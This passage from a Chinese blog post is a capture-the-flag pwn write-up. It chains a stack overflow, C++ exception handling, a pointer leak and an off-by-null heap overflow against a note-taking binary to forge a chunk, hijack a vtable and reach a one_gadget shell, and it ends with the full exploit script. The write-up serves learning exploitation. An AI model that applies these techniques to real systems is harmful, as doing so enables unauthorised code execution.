<\/span><\/h3>\n\n\n\n\u8fd9\u9898\u6ca1\u5f00\u6c99\u7bb1\uff0c\u4fdd\u62a4\u5168\u5f00\uff0c\u634b\u4e00\u4e0b\u51e0\u4e2a\u6f0f\u6d1e<\/p>\n\n\n\n
\u6808\u6ea2\u51fa+\u5f02\u5e38\u673a\u5236\u2014\u2014\u53ef\u4ee5\u5b9e\u73b0\u4efb\u610ftry\u8df3\u8f6c\u5e76\u7ed5\u8fc7canary<\/p>\n\n\n\n
\u6307\u9488\u6b8b\u7559\u2014\u2014\u6cc4\u9732heapbase\u548clibcbase<\/p>\n\n\n\n
off by null\u2014\u2014\u4f2a\u9020\u5806\u5757unlink<\/p>\n\n\n\n
\u90a3\u4e48\u8fd9\u9898\u7684\u601d\u8def\u5c31\u51fa\u6765\u4e86\uff0c\u9996\u5148add\u4e00\u4e2asize\u4e3a-1\u7684\u5806\u5757\u89e6\u53d1\u5f02\u5e38\uff0c\u4ece\u800c\u8c03\u7528gift\u51fd\u6570\u83b7\u5f97stackaddr\u548ccodebase\uff0c\u63a5\u7740add\u4e00\u4e2a\u5927\u5c0f\u5408\u9002\u7684\u5806\u5757\uff0c\u91cc\u9762\u6784\u9020\u5408\u9002\u7684payload\uff0c\u8986\u76d6rbp\uff0cretaddr\uff0c\u5176\u4e2drbp\u901a\u8fc7\u8c03\u8bd5\u786e\u5b9a\u4f4d\u7f6e\uff0cretaddr\u8fd4\u56de\u5230build_note\u7684try\u5757\uff0c\u4ece\u800c\u89e6\u53d1\u8f93\u51fa\u5806\u5730\u5740\u548c\u5806\u5185\u5bb9\u7684\u8bed\u53e5\uff0c\u83b7\u5f97heapbase\u548clibcbase\uff0c\u63a5\u7740\u6dfb\u52a0\u4e00\u4e9b\u5927\u5806\u5757\uff0c\u5728\u95f4\u9694\u91ca\u653e\u4f7f\u5176\u8fdb\u5165unsortedbin\uff0c\u4ece\u800c\u4f7f\u5806\u5757\u91cc\u9762\u6709libc\u5730\u5740\uff0c\u63a5\u7740\u8c03\u7528zoom_note\u89e6\u53d1\u5f02\u5e38\u673a\u5236\uff0c\u5e76\u8df3\u8f6c\u5230\u53e6\u4e00\u4e2acatch\u5757\uff0c\u5b9e\u73b0\u5730\u5740\u6cc4\u9732\uff0c\u6700\u540e\u5229\u7528off by null\u4f2a\u9020\u5806\u5757\uff0c\u5728\u7533\u8bf7\u51fa\u6765\uff0c\u4ece\u800c\u4fee\u6539\u865a\u8868\u6307\u9488\uff0c\u4f7f\u5176\u6307\u5411\u4e00\u4e2a\u5b58\u653e\u6709onegadget\u5730\u5740\u7684\u5730\u5740\uff0c\u6700\u540e\u5728\u8c03\u7528zoom_note\u8c03\u7528\u865a\u8868\u51fd\u6570\u89e6\u53d1onegadget\uff0c\u6700\u540egetshell<\/p>\n\n\n\n
\u6700\u540e\u5bf9\u7740exp\u4e00\u70b9\u4e00\u70b9\u6765\u8bb2<\/p>\n\n\n\n
\u9996\u5148\u662f\u8c03\u7528gift\u6cc4\u9732<\/p>\n\n\n\n
add(0,-1)\nstackaddr=p.gift(b'stack addr: ')\ncodebase=p.gift(b'func addr: ')-0x27fb\nprint('stackaddr:',hex(stackaddr))\nprint('codebase:',hex(codebase))<\/code><\/pre>\n\n\n\n\u63a5\u7740\u6dfb\u52a0\u51e0\u4e2a\u5806\u5757<\/p>\n\n\n\n
add(1,0x430,p64(0)*34+p64(stackaddr)+p64(0x2979+codebase)+p64(0x2ED6+codebase)*8)\nadd(2,0x10,b'22222222')\nadd(3,0x440,b'33333333')\ndelete(2)\nadd(4,0x4f0,b'44444444')\ndelete(1)\ndelete(3)\nadd(1,0x430,b'')<\/code><\/pre>\n\n\n\n\u8fd9\u91cc\u8bb2\u7684\u8be6\u7ec6\u4e00\u70b9\uff0c\u9996\u5148add\uff081\uff09\u4e0d\u7528\u591a\u8bf4\u4e86\uff0c\u5148\u653e\u4e00\u70b9rop\uff0c\u5177\u4f53rop\u5229\u7528\u7684\u65b9\u5f0f\u6211\u4eec\u653e\u5230\u540e\u9762\u6765\u8be6\u7ec6\u5206\u6790\uff0c\u63a5\u7740add\uff082\uff0c0x10\uff09\uff0c\u8fd9\u4e2a0x10\u662f\u6709\u8bb2\u7a76\u7684\uff0c\u56e0\u4e3atablepointer\u7684\u5927\u5c0f\u662f0x18\uff0c\u5bf9\u5e94\u7684size\u4f4d\u662f0x20\uff0c\u6240\u4ee5\u8fd9\u91cc\u6dfb\u52a0\u4e00\u4e2a0x10\u5927\u5c0f\u7684\u5806\u5757\uff0c\u540e\u9762\u518d\u5220\u6389\uff0c\u90a3\u4e48\u5c31\u4f1a\u6709\u67d0\u4e00\u4e2a\u5806\u5757\u7684tablepointer\u88ab\u653e\u5728\u8fd9\u91cc\u91ca\u653e\u540e\u817e\u51fa\u7684\u7a7a\u6765\uff0c\u4ece\u800c\u4f7f\u5f97\u540e\u9762\u4e24\u4e2aunsortedbin\u5927\u5c0f\u7684\u5806\u5757\u7269\u7406\u76f8\u90bb\uff0c\u624d\u6709off by null\u6253\u5806\u6ea2\u51fa\u7684\u53ef\u80fd\uff0c\u63a5\u7740add\uff083\uff09\uff0c\u7136\u540edelete\uff082\uff09\uff0c\u5728add\uff084\uff09\u8fd9\u91cc\u662f\u4e3a\u4e86\u9632\u6b623\u548ctopchunk\u5408\u5e76\uff0c\u540c\u65f6\u4e3a\u63a5\u4e0b\u6765\u7684off by null\u505a\u51c6\u5907\uff0c\u6700\u540e\u5220\u63891,3\uff0c\u6b64\u65f61\u91cc\u9762\u4fbf\u6b8b\u7559\u4e86libc\uff0c\u53ea\u4e0d\u8fc7\u8fd9\u65f6\u6211\u4eec\u7684nodelist\u91cc\u9762\u662f\u6ca1\u6709\u8fd9\u4e2a\u6307\u9488\u7684\uff0c\u6240\u4ee5\u8981\u518d\u6b21add\uff081\uff09\uff0c\u628a\u4ed6\u7684\u6307\u9488\u6dfb\u52a0\u56de\u6765\uff0c\u8fd9\u6837\uff0c\u5806\u5757\u91cc\u7684\u6570\u636e\u6211\u4eec\u5c31\u6784\u9020\u597d\u4e86\u3002<\/p>\n\n\n\n
\u8fd9\u91cc\u5806\u57574\u7684\u5927\u5c0f\u662f0x4f0\uff0c\u8fd9\u91cc\u4e5f\u662f\u6709\u8bb2\u7a76\u7684\uff0c\u56e0\u4e3a\u8fd9\u91cc\u7684size\u4f4d\u662f0x501\uff0c\u6211\u4eecoff by null\u8986\u76d6\u4e4b\u540esize\u4f4d\u53d8\u62100x500\uff0c\u5927\u5c0f\u4e0d\u6539\u53d8\uff0c\u5806\u7ed3\u6784\u4e0d\u4f1a\u6df7\u4e71\uff0c\u5426\u5219\u4f1a\u56e0\u4e3a\u5927\u5c0f\u6539\u53d8\uff0c\u5806\u7ed3\u6784\u6df7\u4e71\uff0c\u627e\u4e0d\u5230top chunk\u4e86\uff0c\u8c03\u8bd5\u8d77\u6765\u5f88\u4e0d\u65b9\u4fbf\u3002<\/p>\n\n\n\n
\u65ad\u70b9\u4e0b\u8f7d\u6700\u540e\u4e00\u4e2aadd\u540e\u9762\u770b\u4e0b<\/p>\n\n\n\n![\"\"](\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\")
<\/div><\/figure>\n\n\n\n
\u53d1\u73b0\u6b64\u65f6\u5806\u5757\u5df2\u7ecf\u7269\u7406\u76f8\u90bb\uff0c\u662f\u6211\u4eec\u60f3\u8981\u7684\u6548\u679c<\/p>\n\n\n\n<\/div><\/figure>\n\n\n\n
\u6b64\u65f6\u7684\u5806\u57571\u5982\u4e0a\uff0c\u53ef\u4ee5\u770b\u5230\u9ad8\u4f4d\u7531\u4e8eoff by null\u88ab\u6539\u6210\u4e8600\uff0c\u4e0d\u8fc7\u4e0d\u5f71\u54cd\u6211\u4eec\u5bf9libcbase\u7684\u6cc4\u9732<\/p>\n\n\n\n
\u63a5\u7740\u8c03\u7528zoom_note\uff0c\u5229\u7528\u96640\u5f02\u5e38\u89e6\u53d1\u5f02\u5e38\u673a\u5236<\/p>\n\n\n\n
choose(3)\np.sla(b'input index: ','1')\np.sla(b'zoom out times: ','0')\nheapbase=p.gift(b'conflict note: ')-0x012400\np.rcvu(b'conflict note content: ')\nlibcbase=p.uu64()-0x1ecb00\nprint('libcbase:',hex(libcbase))\nprint('heapbase:',hex(heapbase))<\/code><\/pre>\n\n\n\n\u90a3\u4e48\u6211\u4eec\u56de\u8fc7\u5934\u6765\u5206\u6790\u4e00\u4e0bpayload\u662f\u5982\u4f55\u5de5\u4f5c\u7684<\/p>\n\n\n\n
add(1,0x430,p64(0)*34+p64(stackaddr)+p64(0x2976+codebase)+p64(0x2ED6+codebase)*8)<\/code><\/pre>\n\n\n\n\u8fd9\u91cc\u9762\u6709\u51e0\u4e2a\u8981\u70b9\uff1arbp\u5730\u5740\uff0c\u8fd4\u56de\u5730\u5740\uff0c\u548c\u8fd4\u56de\u5730\u5740\u540e\u9762\u90a3\u5768\u76ee\u524d\u6682\u65f6\u4e0d\u77e5\u9053\u662f\u4ec0\u4e48\u7684\u4e1c\u897f\uff0c\u4e00\u4e2a\u4e00\u4e2a\u6765\u8bb2\u3002<\/p>\n\n\n\n
\u9996\u5148\u662frbp\uff0c\u628a\u4ed6\u8986\u76d6\u6210\u63a5\u6536\u5230\u7684stackaddr\u5c31\u884c\uff0c\u4fdd\u6301\u4e00\u4e2a\u5408\u7406\u7684\u6808\u5730\u5740\u5c31\u884c<\/p>\n\n\n\n
\u63a5\u7740\u662f\u8fd4\u56de\u5730\u5740\uff0c\u8fd4\u56de\u5730\u5740\u8986\u76d6\u6210\u4e86call build_note\u8fd9\u6761\u6307\u4ee4+1\u7684\u4f4d\u7f6e\uff0c\u4e3a\u4ec0\u4e48\u8981\u52a01\u5462\uff1f\u4e0d\u77e5\u9053\uff0c\u4f46\u662f\u7ecf\u8fc7\u8c03\u8bd5\uff0c\u5fc5\u987b\u8981\u8986\u76d6\u6210\u8fd9\u6761\u6307\u4ee4\u5230\u4e0b\u4e00\u6761\u6307\u4ee4\u4e4b\u95f4\u7684\u4f4d\u7f6e<\/p>\n\n\n\n<\/div><\/figure>\n\n\n\n
\u53732976~2979\u4e4b\u95f4\u7684\u5730\u5740\u90fd\u662f\u53ef\u4ee5\u7684\uff08\u5927\u6982\u662f\u56e0\u4e3a\u8fd9\u51e0\u4e2a\u5730\u5740\u662f\u771f\u6b63\u5305\u542b\u5728try\u91cc\u9762\u7684\u5427\uff09<\/p>\n\n\n\n<\/div><\/figure>\n\n\n\n
\u6700\u540e\u540e\u9762\u7684p64(0x2ED6+codebase)*8\u662fmain\u51fd\u6570\u7684\u8fd4\u56de\u5730\u5740\uff0c\u7ecf\u8fc7\u8c03\u8bd5\u53d1\u73b0\uff0c\u7a0b\u5e8f\u5728\u6267\u884c\u5b8ccatch\u8bed\u53e5\u5757\u7684\u5185\u5bb9\u4e4b\u540e\uff0c\u4f1a\u8fd4\u56de\u9519\u8bef\uff0c\u800c\u8fd9\u4e2a\u8fd4\u56de\u5730\u5740\u5728\u6808\u4e0a\u4e00\u5b9a\u504f\u79fb\u5904\uff0c\u8fd9\u4e2a\u504f\u79fb\u7ecf\u8fc7\u8c03\u8bd5\u53d1\u73b0\u662f8\uff0c\u4ece\u800c\u5728\u6267\u884c\u5b8ccatch\u8bed\u53e5\u5757\u7684\u5185\u5bb9\u4e4b\u540e\u8fd4\u56demain\u51fd\u6570<\/p>\n\n\n\n
\u60f3\u8981\u7684\u4e1c\u897f\u90fd\u6cc4\u9732\u51fa\u6765\u4e4b\u540e\uff0c\u6211\u4eec\u9700\u8981\u8fdb\u884c\u4f2a\u9020\u5806\u5757\uff0c\u8fd9\u91cc\u4f2a\u9020\u4e00\u4e2a\u5927\u5c0f\u4e3a0x600\u7684\u5806\u5757\uff0c\u90a3\u4e48\u6784\u9020payload\u5982\u4e0b<\/p>\n\n\n\n
delete(1)\nadd(1,0x430,p64(0x601)*94+p64(heapbase+0x012260+0x18)+p64(heapbase+0x012260+0x20)+2*p64(0)+p64(heapbase+0x012260))\nadd(5,0x448,b'\\x00'*0x440+p64(0x600))\nonegadgetaddr=heapbase+0x0123c0\nonegadget=[libcbase+0xe3afe,libcbase+0xe3b01,libcbase+0xe3b04]<\/code><\/pre>\n\n\n\n\u6211\u4eec\u5bf9\u7167\u7740gdb\u6765\u8bb2\u89e3\u4e00\u4e0b<\/p>\n\n\n\n<\/div><\/figure>\n\n\n\n
\u53ef\u4ee5\u770b\u5230\uff0c\u5806\u57574\u7684pre size\u4f4d\u88ab\u8986\u76d6\u6210\u4e860x600\uff0csize\u4f4d\u88ab\u6539\u6210\u4e860x500\uff08\u6b63\u5e38\u5e94\u8be5\u662f0x501\uff09\uff0coff by null\u5229\u7528\u6210\u529f<\/p>\n\n\n\n
\u518d\u6765\u770b\u770b\u6839\u636epre size\u4f4d\u627e\u5230\u7684fake chunk\u5728\u54ea\u91cc<\/p>\n\n\n\n
0x5650d967a860-0x600=0x5650d967a260<\/p>\n\n\n\n<\/div><\/figure>\n\n\n\n
\u8fd9\u4e2a\u5730\u5740\u88ab\u6211\u4eec\u4f2a\u9020\u4e86\u4e00\u4e2a\u6070\u5f53\u7684size\u4f4d\uff0c\u540c\u65f6fd\uff0cbk\u4e5f\u7ecf\u8fc7\u5de7\u5999\u6784\u9020\uff0c\u4e3a\u7684\u662f\u7ed5\u8fc7unlink\u68c0\u67e5\uff0c\u6ce8\u610f280\u7684\u4f4d\u7f6e\u662f\u4e24\u4e2a0\uff0c\u539f\u56e0\u662f\u56e0\u4e3a\u5982\u679c\u8fd9\u91cc\u6709\u6570\u636e\uff0c\u53c8\u4f1a\u8fdb\u884cfd_nextsize\u548cbk_nextsize\u7684unlink\u68c0\u67e5\uff0c\u4e3a\u4e86\u51cf\u5c11\u9ebb\u70e6\uff0c\u628a\u8fd9\u91cc\u7f6e\u96f6\uff0c\u4ece\u800c\u901a\u8fc7unlink\u68c0\u67e5\u3002\u6709\u5173unlink\u68c0\u67e5\u7684\u76f8\u5173\u77e5\u8bc6\u8bf7\u8bfb\u8005\u81ea\u884c\u67e5\u9605\u4e86\u89e3\uff0c\u4e5f\u53ef\u4ee5\u9605\u8bfb\u6211\u4e3b\u9875\u7684\u535a\u5ba2\u3002<\/p>\n\n\n\n
\u8fd9\u91cc\u5148delete\uff081\uff09\u518dadd\uff081\uff09\u662f\u56e0\u4e3a\u5806\u57571\u5728\u6cc4\u9732\u51falibcbase\u548cheapbase\u4e4b\u524d\u5df2\u7ecf\u88ab\u6dfb\u52a0\u8fc7\u4e86\uff0c\u6240\u4ee5\u518d\u91cd\u65b0\u6dfb\u52a0\u4e00\u6b21\uff0c\u4e3a\u7684\u662f\u91cd\u65b0\u586b\u5199\u4e09\u4e2a\u6307\u9488\u7ed5\u8fc7unlink\u68c0\u67e5<\/p>\n\n\n\n
\u8c03\u8bd5\u53d1\u73b0\uff0c\u6267\u884c\u5b8c\u4e0a\u9762payload\u4e4b\u540e\uff0c\u7a0b\u5e8f\u4f1a\u76f4\u63a5\u8fdb\u5165new_note\u51fd\u6570\uff0c\u5177\u4f53\u539f\u56e0\u4e0d\u660e\uff0c\u6240\u4ee5\u8fd9\u91cc\u76f4\u63a5\u6839\u636e\u8c03\u8bd5\u7ed3\u679c\u6784\u9020payload<\/p>\n\n\n\n
p.sla(b'input index: ','8')\np.sla(b'input size: ','64')\np.sla(b'input content: ',b'888888888888')<\/code><\/pre>\n\n\n\n\u63a5\u7740\u5220\u9664\u5806\u57574\uff0c\u5b9e\u73b0\u5806\u5757\u4f2a\u9020<\/p>\n\n\n\n
delete(4)\nadd(6,0x300,b'\\x00'*0x140+p64(0x440)+p64(0x21)+p64(onegadget[1])*3+p64(0x21)+p64(onegadgetaddr)+p64(0x30)+p64(0)+p64(0x21)+p64(onegadgetaddr)+p64(0x430))<\/code><\/pre>\n\n\n\n<\/div><\/figure>\n\n\n\n
\u5229\u7528\u6210\u529f\uff0c\u63a5\u4e0b\u6765\u6211\u4eec\u53ea\u9700\u8981\u628a\u521a\u624d\u65b0\u6dfb\u52a0\u7684\u5806\u57578\u7684\u865a\u8868\u6307\u9488\u6539\u6210\u5b58\u653eonegadget\u5730\u5740\u7684\u5730\u5740\u5373\u53ef\uff0c\u8fd9\u4e2a\u5730\u5740\u88ab\u5199\u5728add(6,0×300,b’\\x00’*0x140+p64(0x440)+p64(0x21)+p64(onegadget[1])*3+p64(0x21)+p64(onegadgetaddr)+p64(0x30)+p64(0)+p64(0x21)+p64(onegadgetaddr)+p64(0x430))\u91cc\u9762\uff0c\u8c03\u8bd5\u5373\u53ef\u627e\u5230<\/p>\n\n\n\n
\u6700\u540e\u518d\u6b21\u8c03\u7528zoom_note\u51fd\u6570\uff0c\u89e6\u53d1onegadget<\/p>\n\n\n\n
choose(3)\np.sla(b'input index: ','8')\np.sla(b'zoom out times: ','65')<\/code><\/pre>\n\n\n\n\u8fd9\u91cc\u8fd8\u6709\u4e2a\u7ec6\u8282\uff0c\u6211\u4eec\u9009\u7528\u7684onegadget\u5982\u4e0b<\/p>\n\n\n\n<\/div><\/figure>\n\n\n\n
\u4e00\u5f00\u59cb\u6211\u7684payload\u662f<\/p>\n\n\n\n
choose(3)\np.sla(b'input index: ','8')\np.sla(b'zoom out times: ','1')<\/code><\/pre>\n\n\n\n\u53d1\u73b0\u6253\u4e0d\u901a\uff0c\u8c03\u8bd5\u53d1\u73b0rdx\u662f0x30\u4e0d\u662f0\uff0c\u800c\u60f3\u8981\u6253\u901a\u5fc5\u987b\u8981\u6ee1\u8db3rdx\u4e5f\u662f0\uff08\u6b64\u65f6r15\u5df2\u7ecf\u662f0\u4e86\uff09\uff0c\u90a3\u4e48\u6211\u4eec\u56de\u8fc7\u5934\u53bb\u770b\u770b\u6c47\u7f16\uff0c\u53d1\u73b0rdx\u7531rbp-0x11C\u5bf9\u5e94\u7684\u503c\u63a7\u5236\uff0c\u8fd9\u4e2a\u503c\u7531\u6211\u4eec\u8f93\u5165\u7684v6\u95f4\u63a5\u63a7\u5236<\/p>\n\n\n\n<\/div><\/figure>\n\n\n\n
<\/div><\/figure>\n\n\n\n
\u6240\u4ee5\u6211\u4eec\u8981\u8ba9v6\u5927\u4e8e\u8fd9\u4e2a\u5806\u5757\u7684size\uff0c\u4e5f\u5c31\u662f64\uff0c\u8fd9\u6837v8\u5c31\u88ab\u8d4b\u6210\u4e860\uff0c\u6700\u540erdx\u4e5f\u53d8\u6210\u4e860\uff0c\u4ece\u800c\u6210\u529f\u5229\u7528onegadget<\/p>\n\n\n\n
<\/span>\u5b8c\u6574exp<\/span><\/h3>\n\n\n\nfrom pwnplus import *\ncontext.arch = 'amd64'\ncontext.log_level = 'debug'\np=mypwn('.\/pwn')\nlibc=ELF('.\/libc-2.31.so')\nelf=ELF('.\/pwn')\ndef choose(num):\n p.sla(b'input choice: ',str(num))\n\ndef add(index,size,content=None):\n choose(1)\n p.sla(b'input index: ',str(index))\n p.sla(b'input size: ',str(size))\n if content!=None:\n p.sla(b'input content: ',content)\n\ndef delete(index):\n choose(2)\n p.sla(b'input index: ',str(index))\n\n\nadd(0,-1)\nstackaddr=p.gift(b'stack addr: ')\ncodebase=p.gift(b'func addr: ')-0x27fb\nprint('stackaddr:',hex(stackaddr))\nprint('codebase:',hex(codebase))\n#------------------------leak--------------------------\npop_rdi=0x0000000000003273+codebase\npop_rsi_r15=0x0000000000003271+codebase\nleave=0x0000000000002e9a+codebase\ncall_inputbuf=0x29b4+codebase\nadd(1,0x430,p64(0)*34+p64(stackaddr)+p64(0x2979+codebase)+p64(0x2ED6+codebase)*8)\nadd(2,0x10,b'22222222')\nadd(3,0x440,b'33333333')\ndelete(2)\nadd(4,0x4f0,b'44444444')\ndelete(1)\ndelete(3)\nadd(1,0x430,b'')\nchoose(3)\np.sla(b'input index: ','1')\np.sla(b'zoom out times: ','0')\nheapbase=p.gift(b'conflict note: ')-0x012400\np.rcvu(b'conflict note content: ')\nlibcbase=p.uu64()-0x1ecb00\nprint('libcbase:',hex(libcbase))\nprint('heapbase:',hex(heapbase))\n\ndelete(1)\nadd(1,0x430,p64(0x601)*94+p64(heapbase+0x012260+0x18)+p64(heapbase+0x012260+0x20)+2*p64(0)+p64(heapbase+0x012260))\nadd(5,0x448,b'\\x00'*0x440+p64(0x600))\nonegadgetaddr=heapbase+0x0123c0\nonegadget=[libcbase+0xe3afe,libcbase+0xe3b01,libcbase+0xe3b04]\n\np.sla(b'input index: ','8')\np.sla(b'input size: ','64')\np.sla(b'input content: ',b'888888888888')\ndelete(4)\nadd(6,0x300,b'\\x00'*0x140+p64(0x440)+p64(0x21)+p64(onegadget[1])*3+p64(0x21)+p64(onegadgetaddr)+p64(0x30)+p64(0)+p64(0x21)+p64(onegadgetaddr)+p64(0x430))\nchoose(3)\np.sla(b'input index: ','8')\np.sla(b'zoom out times: ','65')\n\np.ia()<\/code><\/pre>\n","protected":false},"excerpt":{"rendered":"\u4eba\u751f\u7684\u7b2c\u4e00\u9053C++ \u539f\u7406\u89e3\u6790 \u4ec0\u4e48\u662fC++\u5f02\u5e38\u673a\u5236\uff1f \u7f51\u4e0a\u7684\u6587\u7ae0\u5e76\u4e0d\u7b97\u591a\uff0c\u5e76\u4e14\u90fd\u662f\u5c31\u9898\u8bba\u9898\u8bb2\u7684\uff0c\u6240\u4ee5\u6211\u7406\u89e3\u7684\u4e5f […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[12],"tags":[],"class_list":["post-432","post","type-post","status-publish","format-standard","hentry","category-pwn"],"_links":{"self":[{"href":"http:\/\/blogbo.cn\/index.php\/wp-json\/wp\/v2\/posts\/432","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/blogbo.cn\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/blogbo.cn\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/blogbo.cn\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/blogbo.cn\/index.php\/wp-json\/wp\/v2\/comments?post=432"}],"version-history":[{"count":3,"href":"http:\/\/blogbo.cn\/index.php\/wp-json\/wp\/v2\/posts\/432\/revisions"}],"predecessor-version":[{"id":463,"href":"http:\/\/blogbo.cn\/index.php\/wp-json\/wp\/v2\/posts\/432\/revisions\/463"}],"wp:attachment":[{"href":"http:\/\/blogbo.cn\/index.php\/wp-json\/wp\/v2\/media?parent=432"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/blogbo.cn\/index.php\/wp-json\/wp\/v2\/categories?post=432"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/blogbo.cn\/index.php\/wp-json\/wp\/v2\/tags?post=432"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}